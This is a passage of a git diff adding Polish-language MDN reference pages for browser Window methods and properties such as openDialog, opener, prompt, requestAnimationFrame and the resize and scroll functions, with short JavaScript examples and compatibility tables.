+</pre>
+<dl>
+ <dt>
+ newWindow </dt>
+ <dd>
+ Otwarte okno.</dd>
+ <dt>
+ url </dt>
+ <dd>
+ Adres URL który będzie wczytany do nowego okna.</dd>
+ <dt>
+ name </dt>
+ <dd>
+ Nazwa okna (opcjonalnie). Zobacz opis <a href="/pl/DOM/window.open" title="pl/DOM/window.open">window.open</a>, aby dowiedzieć się więcej.</dd>
+ <dt>
+ features </dt>
+ <dd>
+ Zobacz opis <a href="/pl/DOM/window.open" title="pl/DOM/window.open">window.open</a>, aby dowiedzieć się więcej.</dd>
+ <dt>
+ arg1, arg2, ... </dt>
+ <dd>
+ Argumenty dopasowujące nowe okno (opcjonalnie).</dd>
+</dl>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre class="eval">var win = openDialog("<span class="nowiki">http://example.tld/zzz.xul</span>", "dlg", "", "pizza", 6.98);
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<h4 id="Nowe_mo.C5.BCliwo.C5.9Bci" name="Nowe_mo.C5.BCliwo.C5.9Bci">Nowe możliwości</h4>
+<p><code>all</code> - Initially activates (or deactivates <code>("all=no")</code>) all chrome (except the behaviour flags <code>chrome</code>, <code>dialog</code> and <code>modal</code>). These can be overridden (so <code>"menubar=no,all"</code> turns on all chrome except the menubar.) This feature is explicitly ignored by <a href="/pl/DOM/window.open" title="pl/DOM/window.open">DOM:window.open</a>. <code>window.openDialog</code> finds it useful because of its different default assumptions.</p>
+<h4 id="Domy.C5.9Blne_zachowanie" name="Domy.C5.9Blne_zachowanie">Domyślne zachowanie</h4>
+<p>Możliwości <code>chrome</code> i <code>dialog</code> są zawsze assumed on, unless explicitly turned off ("<code>chrome=no</code>"). <code>openDialog</code> treats the absence of the features parameter as does <a href="/pl/DOM/window.open" title="pl/DOM/window.open">DOM:window.open</a>, (that is, an empty string sets all features to off) except <code>chrome</code> and <code>dialog</code>, which default to on. If the <code>features</code> parameter is a zero-length string, or contains only one or more of the behaviour features (<code>chrome</code>, <code>dependent</code>, <code>dialog</code> and <code>modal</code>) the chrome features are assumed "OS' choice." That is, window creation code is not given specific instructions, but is instead allowed to select the chrome that best fits a dialog on that operating system.</p>
+<h4 id="Passing_extra_parameters_to_the_dialog" name="Passing_extra_parameters_to_the_dialog">Passing extra parameters to the dialog</h4>
+<p>To pass extra parameters into the dialog, you can simply supply them after the <code>windowFeatures</code> parameter:</p>
+<pre class="eval">openDialog("<span class="nowiki">http://example.tld/zzz.xul</span>", "dlg", "", "pizza", 6.98);
+</pre>
+<p>The extra parameters will then get packed into a property named <code>arguments</code> of type <a href="/pl/Core_JavaScript_1.5_Reference/Global_Objects/Array" title="pl/Core_JavaScript_1.5_Reference/Global_Objects/Array">Array</a>, and this property gets added to the newly opened dialog window.</p>
+<p>To access these extra parameters from within dialog code, use the following scheme:</p>
+<pre class="eval">var food = window.arguments[0];
+var price = window.arguments[1];
+</pre>
+<p>Note that you can access this property from within anywhere in the dialog code.</p>
+<h4 id="Zwracanie_warto.C5.9Bci_z_okienka_dialogowego" name="Zwracanie_warto.C5.9Bci_z_okienka_dialogowego">Zwracanie wartości z okienka dialogowego</h4>
+<p>Since <code>window.close()</code> erases all properties associated with the dialog window (i.e. the variables specified in the JavaScript code which gets loaded from the dialog), it is not possible to pass return values back past the close operation using globals (or any other constructs).</p>
+<p>To be able to pass values back to the caller, you have to supply some object via the extra parameters. You can then access this object from within the dialog code and set properties on it, containing the values you want to return or preserve past the <code>window.close()</code> operation.</p>
+<pre class="eval">var retVals = { address: null, delivery: null };
+openDialog("<span class="nowiki">http://example.tld/zzz.xul</span>", "dlg", "modal", "pizza", 6.98, retVals);
+</pre>
+<p>If you set the properties of the <code>retVals</code> object in the dialog code as described below, you can now access them via the <code>retVals</code> array after the <code>openDialog()</code> call returns.</p>
+<p>Inside the dialog code, you can set the properties as follows:</p>
+<pre class="eval">var retVals = window.arguments[2];
+retVals.address = enteredAddress;
+retVals.delivery = "immediate";
+</pre>
+<p>Zobacz także .</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p>{{ DOM0() }}</p>
diff --git a/files/pl/web/api/window/opener/index.html b/files/pl/web/api/window/opener/index.html
new file mode 100644
index 0000000000..3cd744928e
--- /dev/null
+++ b/files/pl/web/api/window/opener/index.html
@@ -0,0 +1,49 @@
+---
+title: window.opener
+slug: Web/API/Window/opener
+tags:
+ - API
+ - HTML DOM
+ - Window
+ - Własność
+ - odniesienie
+ - opener
+translation_of: Web/API/Window/opener
+---
+<p>{{APIRef("HTML DOM")}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Właściwość <code>opener</code> obiektu {{domxref ("Window")}} zwraca odniesienie do okna, które otworzyło okno używając {{domxref ("Window.open", "open()")}}.</p>
+
+<p><span class="tlid-translation translation"><span title="">Innymi słowy, jeśli okno <code>A</code> otwiera okno <code>B</code>, <code>B.opener</code> zwraca <code>A</code>.</span></span></p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="eval"><em>openerWindow</em> = window.opener;
+</pre>
+
+<h3 id="Wartość">Wartość</h3>
+
+<p>{{domxref ("Window")}} odnosi się do okna, które wywołało open(), aby otworzyć bieżące okno, lub <code>null</code>, jeśli to okno nie zostało otwarte przez połączenie z innym lub utworzone przez inne.</p>
+
+<p><span class="tlid-translation translation"><span title="">W <a href="https://caniuse.com/#search=noopener">niektórych przeglądarkach</a> atrybut <code>rel="noopener noreferrer"</code> w początkowym elemencie {{HTMLElement ("a")}} zapobiega ustawianiu referencji <strong><code>window.opener</code></strong>, w którym to przypadku ta właściwość zwróci wartość <code>null</code>.</span></span></p>
+
+<h2 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h2>
+
+<pre> if window.opener != indexWin {
+ referToTop(window.opener);
+ }
+</pre>
+
+<h2 id="Uwagi" name="Uwagi">Uwagi</h2>
+
+<p>Kiedy okno jest otwarte z innego okna, to utrzymuje referencję do pierwszego okna jako <strong>window.opener</strong>. Jeśli bieżące okno nie posiada własności opener, te metoda zwróci NULL.</p>
+
+<h2 id="Specyfikacja" name="Specyfikacja">Wsparcie przeglądarek</h2>
+
+<div class="hidden">
+<p><span class="tlid-translation translation"><span title="">Tabela zgodności na tej stronie jest generowana na podstawie danych strukturalnych.</span> <span title="">Jeśli chcesz przyczynić się do danych, sprawdź <a href="/pl/docs/">https://github.com/mdn/browser-compat-data</a> i wyślij nam pull request'a.</span></span></p>
+</div>
+
+<p>{{Compat("api.Window.opener")}}</p>
diff --git a/files/pl/web/api/window/prompt/index.html b/files/pl/web/api/window/prompt/index.html
new file mode 100644
index 0000000000..0a90ac5c2e
--- /dev/null
+++ b/files/pl/web/api/window/prompt/index.html
@@ -0,0 +1,33 @@
+---
+title: window.prompt
+slug: Web/API/Window/prompt
+translation_of: Web/API/Window/prompt
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Wyświetla okno dialogowe z prośbą do użytkownika o wpisanie jakiegoś tekstu.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>result</i> = window.prompt(<i>text</i>,<i>value</i>);
+</pre>
+<ul>
+ <li><code>result</code> jest łańcuchem znaków, który zawiera tekst wprowadzony przez użytkownika lub wartość null.</li>
+ <li><code>text</code> jest łańcuchem znaków określającym tekst, jaki ma zostać wyświetlony użytkownikowi.</li>
+ <li><code>value</code> jest łańcuchem znaków zawierającym domyślną wartość w polu wprowadzania tekstu (input). Jest to opcjonalny parametr.</li>
+</ul>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre class="eval">var sign = prompt("Jaki jest twój znak zodiaku?");
+if (sign.toLowerCase() == "skorpion")
+ alert("Wow! Też jestem Skorpionem!");
+</pre>
+<p>Gdy użytkownik naciśnie przycisk OK, zwracany jest wpisany przez niego tekst. Jeśli użytkownik naciśnie przycisk OK bez wprowadzania tekstu, zwrócony zostanie pusty łańcuch znaków. Jeśli użytkownik naciśnie przycisk Anuluj, ta funkcja zwróci wartość null.</p>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>Okno dialogowe typu prompt zawiera pole tekstowe o wielkości pojedynczej linii, przycisk Anuluj i przycisk OK oraz zwraca tekst (możliwy również pusty), które użytkownik wpisał w to pole tekstowe.</p>
+<p><span class="comment">The following text is shared between this article, DOM:window.confirm and DOM:window.alert</span> Okna dialogowe to okna modalne - uniemożliwiają użytkownikowi dostęp do reszty interfejsu programu dopóki okno nie zostanie zamknięte. Z tego powodu nie powinieneś nadużywać funkcji, które otwierają okna dialogowe.</p>
+<p>Zamiast tego użytkownicy Chrome (na przykład rozszerzenia) powinni używać metod <a href="https://developer.mozilla.org/en-US/docs/XPCOM_Interface_Reference/nsIPromptService">nsIPromptService</a>.</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p>{{ DOM0() }}</p>
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3>
+<p><a href="pl/DOM/window.alert">alert</a>, <a href="pl/DOM/window.confirm">confirm</a></p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/window.prompt", "fr": "fr/DOM/window.prompt", "ja": "ja/DOM/window.prompt" } ) }}</p>
diff --git a/files/pl/web/api/window/requestanimationframe/index.html b/files/pl/web/api/window/requestanimationframe/index.html
new file mode 100644
index 0000000000..703a908e8d
--- /dev/null
+++ b/files/pl/web/api/window/requestanimationframe/index.html
@@ -0,0 +1,170 @@
+---
+title: Window.requestAnimationFrame()
+slug: Web/API/Window/requestAnimationFrame
+tags:
+ - API
+ - DOM
+ - Metodă
+translation_of: Web/API/window/requestAnimationFrame
+---
+<p>{{APIRef}}<br>
+ Metoda <strong><code>Window.requestAnimationFrame()</code></strong> informuje przeglądarkę o zamiarze wykonania animacji i żąda od przeglądarki wywołania określonej funkcji w celu odświeżenia animacji przed następnym odmalowaniem. Argumentem metody jest funkcja (<em>callback</em>) do wywołania przed następnym odmalowaniem (odświeżeniem kanwy).</p>
+
+<div class="note"><strong>Uwaga:</strong> Twoja funkcja musi samodzielnie wywołać <code>requestAnimationFrame(),</code> jeżeli chcesz odmalować kolejną ramkę animacji.</div>
+
+<p>Należy wywołać tą metodą za każdym razem, gdy jesteś gotowy do odświeżenia swojej animacji na ekranie. Spowoduje to żądanie od przeglądarki wykonania twojej funkcji przed następnym odmalowaniem. Częstotliwość wykonywania funkcji wynosi zazwyczaj 60 razy na sekundę, jednakże według rekomendacji W3C w większości przeglądarek odpowiada częstotliwości odświeżania ekranu. Ta częstotliwość może zostać zredukowana do niższej wartości, gdy kod wykonywany jest w zakładce pozostającej w tle lub w ukrytej {{ HTMLElement("iframe") }} w celu poprawienia wydajności lub przedłużenia żywotności baterii.</p>
+
+<p>Wywoływanej funkcji przekazywany jest pojedynczy argument {{domxref("DOMHighResTimeStamp")}}, który zawiera aktualny czas rozpoczęcia wykonywania tej funkcji, wstawionej do kolejki przez wywołanie <code>requestAnimationFrame</code>. Wiele różnych funkcji wywołanych w jednej ramce otrzyma jednakże tę samą wartość znacznika czasu, niezależnie od czasu spędzonego wykonaniu obliczeń w poprzedzającej funkcji. Znacznik czasu jest liczbą dziesiętną wyrażoną w milisekundach z maksymalną dokładnością 1ms (1000 µs).</p>
+
+<h2 id="Syntax" name="Syntax">Składnia</h2>
+
+<pre class="syntaxbox">window.requestAnimationFrame(callback);
+</pre>
+
+<h3 id="Parameters" name="Parameters">Parametry</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>Parametr określający funkcję do wywołania, gdy nadchodzi czas odświeżenia animacji przed następnym odmalowaniem. Przekazywana funkcja przyjmuje pojedynczy argument {{domxref("DOMHighResTimeStamp")}}, który określa aktualny czas (zwrócony przez {{domxref('Performance.now()')}} ) w momencie rozpoczęcia przez <code>requestAnimationFrame</code> uruchamiania skolejkowanych wcześniej funkcji.</dd>
+</dl>
+
+<h3 id="Wartość_zwracana">Wartość zwracana</h3>
+
+<p>Wartość typu <code>long</code> integer będącą identyfikatorem żądania, który unikalnie określa pozycję na liście funkcji do wykonania. Jest to niezerowa wartość, jednakże nie wolno przyjmować żadnych innych założeń dotyczących wartości tego identyfikatora. Możesz przekazać tę wartość do {{domxref("Window.cancelAnimationFrame()")}} aby anulować żądanie wywołania funkcji do odświeżenia.</p>
+
+<h2 id="Notes" name="Notes">Przykład</h2>
+
+<pre class="brush: js">var start = null;
+var element = document.getElementById("SomeElementYouWantToAnimate");
+
+function step(timestamp) {
+ if (!start) start = timestamp;
+ var progress = timestamp - start;
+ element.style.left = Math.min(progress/10, 200) + "px";
+ if (progress &lt; 2000) {
+ window.requestAnimationFrame(step);
+ }
+}
+
+window.requestAnimationFrame(step);
+</pre>
+
+<h2 id="Specification" name="Specification">Specyfikacja</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', '#animation-frames', 'requestAnimationFrame')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>Brak zmian, zastępuje poprzednią.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('RequestAnimationFrame', '#dom-windowanimationtiming-requestanimationframe', 'requestAnimationFrame')}}</td>
+ <td>{{Spec2('RequestAnimationFrame')}}</td>
+ <td>Wstępna definicja</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Zgodność_przeglądarek">Zgodność przeglądarek</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari (WebKit)</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>10.0 {{property_prefix("webkit")}}<br>
+ 24.0 <sup>3</sup></td>
+ <td>4.0 {{property_prefix("moz")}} <sup>1 4</sup><br>
+ 23 <sup>2</sup></td>
+ <td>10.0</td>
+ <td>{{compatversionunknown}} {{property_prefix("-o")}}<br>
+ 15.0</td>
+ <td>6.0 {{property_prefix("webkit")}}<br>
+ 6.1</td>
+ </tr>
+ <tr>
+ <td>return value</td>
+ <td>23.0</td>
+ <td>{{CompatGeckoDesktop("11.0")}}</td>
+ <td>10.0</td>
+ <td>{{compatversionunknown}}</td>
+ <td>{{compatversionunknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Phone</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>4.4</td>
+ <td>16.0 {{property_prefix("webkit")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>14.0</td>
+ <td>7.0<br>
+ 6.0 {{property_prefix("webkit")}}</td>
+ </tr>
+ <tr>
+ <td><code>requestID</code> return value</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoMobile("11.0")}} {{property_prefix("moz")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<p><sup>1</sup> Przed Gecko 11.0 {{geckoRelease("11.0")}}, <code>mozRequestAnimationFrame()</code> mogłobyć wywołane bez parametru. To nie jest dalej wspierane, gdyż raczej nie stanie się częścią standardu.</p>
+
+<p><sup>2</sup> Parametrem wywoływanej funkcji jest {{domxref("DOMTimeStamp")}} zamiast {{domxref("DOMHighResTimeStamp")}} gdy stosuje się metodę z prefiksem. <code>DOMTimeStamp</code> ma dokładność tylko do milisekundy, podczas gdy <code>DOMHighResTimeStamp</code> ma minimalną dokładność dziesięciu mikrosekund. Co więcej, czas zerowy jest inny: <code>DOMHighResTimeStamp</code> ma taki sam czas zerowy jak <code>performance.now()</code>, lecz <code>DOMTimeStamp</code> ma czas zerowy jak <code>Date.now().</code></p>
+
+<p><sup>3</sup> Poprawnym wywołaniem anulowania żądania w Chrome jest aktualnie <code>window.cancelAnimationFrame()</code>. W starszych wersjach <code>window.webkitCancelAnimationFrame()</code> &amp; <code>window.webkitCancelRequestAnimationFrame()</code>, które są przestarzałe, ale ciągle wspierane.</p>
+
+<p><sup>4</sup> Wsparcie dla wersji z prefiksem zostało usunięte z Firefox 42.</p>
+
+<h2 id="Specification" name="Specification">Zobacz również</h2>
+
+<ul>
+ <li>{{domxref("Window.mozAnimationStartTime")}}</li>
+ <li>{{domxref("Window.cancelAnimationFrame()")}}</li>
+ <li><a href="http://weblogs.mozillazine.org/roc/archives/2010/08/mozrequestanima.html">mozRequestAnimationFrame</a> - Blog post</li>
+ <li><a href="http://paulirish.com/2011/requestanimationframe-for-smart-animating/">requestAnimationFrame for smart animating</a> - Blog post</li>
+ <li><a href="http://hacks.mozilla.org/2011/08/animating-with-javascript-from-setinterval-to-requestanimationframe/">Animating with javascript: from setInterval to requestAnimationFrame</a> - Blog post</li>
+ <li><a href="http://blogs.msdn.com/b/ie/archive/2011/07/05/using-pc-hardware-more-efficiently-in-html5-new-web-performance-apis-part-1.aspx">Using PC Hardware more efficiently in HTML5: New Web Performance APIs, Part 1</a> - Blog post</li>
+ <li><a href="http://www.testufo.com/#test=animation-time-graph" title="http://www.testufo.com/#test=animation-time-graph">TestUFO: Test your web browser for requestAnimationFrame() Timing Deviations</a></li>
+ <li>Paul Irish:  <a class="external external-icon" href="http://www.paulirish.com/2011/requestanimationframe-for-smart-animating/" title="http://www.paulirish.com/2011/requestanimationframe-for-smart-animating/">requestAnimationFrame for Smart Animating</a></li>
+ <li>Paul Irish: <a class="external external-icon" href="http://updates.html5rocks.com/2012/05/requestAnimationFrame-API-now-with-sub-millisecond-precision">requestAnimationFrame API: now with sub-millisecond precision</a></li>
+</ul>
diff --git a/files/pl/web/api/window/resizeby/index.html b/files/pl/web/api/window/resizeby/index.html
new file mode 100644
index 0000000000..df817ea665
--- /dev/null
+++ b/files/pl/web/api/window/resizeby/index.html
@@ -0,0 +1,32 @@
+---
+title: window.resizeBy
+slug: Web/API/Window/resizeBy
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Window/resizeBy
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Zmienia rozmiar okna o pewną wartość.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval">window.resizeBy(<i>xDelta</i>,<i>yDelta</i>)
+</pre>
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+<ul>
+ <li><code>xDelta</code> jest liczbą pikseli o jaką ma wzrosnąć okno w poziomie.</li>
+ <li><code>yDelta</code> jest liczbą pikseli o jaką ma wzrosnąć okno w pionie.</li>
+</ul>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre>// Spowoduje zmniejszenie się okna
+window.resizeBy(-200, -200);
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>Ta metoda zmienia rozmiar okna relatywnie do jego obecnego rozmiaru. Aby zmienić rozmiar okna bezwzględnie zastosuj <a href="pl/DOM/window.resizeTo">DOM:window.resizeTo</a>.</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p>DOM poziom 0. Nie jest częścią specyfikacji.</p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/window.resizeBy", "ja": "ja/DOM/window.resizeBy" } ) }}</p>
diff --git a/files/pl/web/api/window/resizeto/index.html b/files/pl/web/api/window/resizeto/index.html
new file mode 100644
index 0000000000..532b561993
--- /dev/null
+++ b/files/pl/web/api/window/resizeto/index.html
@@ -0,0 +1,36 @@
+---
+title: window.resizeTo
+slug: Web/API/Window/resizeTo
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Window/resizeTo
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Dynamicznie zmienia rozmiar okna.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval">window.resizeTo(<i>iWidth</i>,<i>iHeight</i>)
+</pre>
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+<ul>
+ <li><code>iWidth</code> jest liczbą całkowitą reprezentującą nową szerokość wyrażoną w pikselach.</li>
+ <li><code>iHeight</code> jest liczbą całkowitą wartości reprezentującej nową wyskość w pikselach.</li>
+</ul>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre> // funkcja zmienia rozmiar okna do połowy aktualnie
+ // wyświetlanego ekranu
+ function halve() {
+ window.resizeTo(window.screen.availWidth/2,
+ window.screen.availHeight/2);
+ }
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>Zobacz także <a href="pl/DOM/window.resizeBy">DOM:window.resizeBy</a>.</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p>DOM poziom 0. Nie jest częścią specyfikacji.</p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/window.resizeTo", "ja": "ja/DOM/window.resizeTo" } ) }}</p>
diff --git a/files/pl/web/api/window/scroll/index.html b/files/pl/web/api/window/scroll/index.html
new file mode 100644
index 0000000000..3aeacc5f9a
--- /dev/null
+++ b/files/pl/web/api/window/scroll/index.html
@@ -0,0 +1,33 @@
+---
+title: window.scroll
+slug: Web/API/Window/scroll
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Window/scroll
+---
+<p> </p>
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Przesuwa się do danych koordynatów w dokumencie.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval">window.scroll(<i>x-coord</i>,<i>y-coord</i>)
+</pre>
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+<ul>
+ <li><code>x-coord</code> jest pikselem wzdłuż poziomej osi dokumentu do wyświetlenia, w jego lewym górnym rogu.</li>
+ <li><code>y-coord</code> jest pikselem wzdłuż pionowej osi dokumentu do wyświetlenia, w jego lewym górnym rogu.</li>
+</ul>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre> // przenieś 100-ny piksel poziomy na górę okna
+ &lt;button onClick="scroll(0, 100);"&gt;kliknij, by przesunąć się o 100 pikseli w dół &lt;/button&gt;
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>Powyższa funkcja jest tym co funkcja <code><a href="pl/DOM/window.scrollTo">window.scrollTo</a></code>. Dla przesuwu względnego zobacz <code><a href="pl/DOM/window.scrollBy">window.scrollBy</a>, <a href="pl/DOM/window.scrollByLines">window.scrollByLines</a></code> oraz <code><a href="pl/DOM/window.scrollByPages">window.scrollByPages</a></code>.</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p>DOM poziom 0. Nie jest częścią specyfikacji.</p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/window.scroll", "ja": "ja/DOM/window.scroll" } ) }}</p>
diff --git a/files/pl/web/api/window/scrollbylines/index.html b/files/pl/web/api/window/scrollbylines/index.html
new file mode 100644
index 0000000000..329171c9c7
--- /dev/null
+++ b/files/pl/web/api/window/scrollbylines/index.html
@@ -0,0 +1,35 @@
+---
+title: window.scrollByLines
+slug: Web/API/Window/scrollByLines
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Window/scrollByLines
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Przewija dokument przez daną liczbę linii.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval">window.scrollByLines(<i>lines</i>)
+</pre>
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+<ul>
+ <li><code>lines</code> jest liczbą linii do przewinięcia w dokumencie.</li>
+ <li><code>lines</code> może być liczbą całkowitą dodatnią lub ujemną.</li>
+</ul>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre class="eval">// przewija w dół o 5 linii w dokumencie.
+&lt;button onclick="scrollByLines(5);"&gt;down 5 lines&lt;/button&gt;
+</pre>
+<pre class="eval">// przewija w górę o 5 linii w dokumencie.
+&lt;button onclick="scrollByLines(-5);"&gt;up 5 lines&lt;/button&gt;
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>Zobacz także <code><a href="pl/DOM/window.scrollBy">window.scrollBy</a>, <a href="pl/DOM/window.scrollByPages">window.scrollByPages</a></code>.</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p>DOM poziom 0. Nie jest częścią specyfikacji.</p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/window.scrollByLines", "ja": "ja/DOM/window.scrollByLines" } ) }}</p>
diff --git a/files/pl/web/api/window/scrollbypages/index.html b/files/pl/web/api/window/scrollbypages/index.html
new file mode 100644
index 0000000000..99548bf52c
--- /dev/null
+++ b/files/pl/web/api/window/scrollbypages/index.html
@@ -0,0 +1,35 @@
+---
+title: window.scrollByPages
+slug: Web/API/Window/scrollByPages
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Window/scrollByPages
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Przewija aktualny dokument przez określoną liczbę stron.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval">window.scrollByPages(<i>pages</i>)
+</pre>
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+<ul>
+ <li><code>pages</code> jest liczbą stron do przewinięcia.</li>
+ <li><code>pages</code> może być wartością dodatnią lub ujemną liczby całkowitej.</li>
+</ul>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre>// przewija w dół dokument o 1 stronę
+window.scrollByPages(1);
+
+// przewija w górę dokument o 1 stronę
+window.scrollByPages(-1);
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>Zobacz także <code><a href="pl/DOM/window.scrollBy">window.scrollBy</a>, <a href="pl/DOM/window.scrollByLines">window.scrollByLines</a>, <a href="pl/DOM/window.scroll">window.scroll</a>, <a href="pl/DOM/window.scrollTo">window.scrollTo</a></code>.</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p>DOM Level 0. Nie jest częścią specyfikacji.</p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/window.scrollByPages", "ja": "ja/DOM/window.scrollByPages" } ) }}</p>
diff --git a/files/pl/web/api/window/scrollto/index.html b/files/pl/web/api/window/scrollto/index.html
new file mode 100644
index 0000000000..6bdb2154a7
--- /dev/null
+++ b/files/pl/web/api/window/scrollto/index.html
@@ -0,0 +1,32 @@
+---
+title: window.scrollTo
+slug: Web/API/Window/scrollTo
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Window/scrollTo
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Przesuwa się do danych koordynatów w dokumencie.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval">window.scrollTo(<i>x-coord</i>,<i>y-coord</i>)
+</pre>
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+<ul>
+ <li><code>x-coord</code> jest pikselem wzdłuż poziomej osi dokumentu do wyświetlenia, w jego lewym górnym rogu.</li>
+ <li><code>y-coord</code> jest pikselem wzdłuż pionowej osi dokumentu do wyświetlenia, w jego lewym górnym rogu.</li>
+</ul>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre>window.scrollTo(0, 1000);
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>Powyższa funkcja jest tym co funkcja <a href="pl/DOM/window.scroll">window.scroll</a>. Dla przesuwu względnego zobacz <a href="pl/DOM/window.scrollBy">window.scrollBy</a>, <a href="pl/DOM/window.scrollByLines">window.scrollByLines</a> oraz <a href="pl/DOM/window.scrollByPages">window.scrollByPages</a>.</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
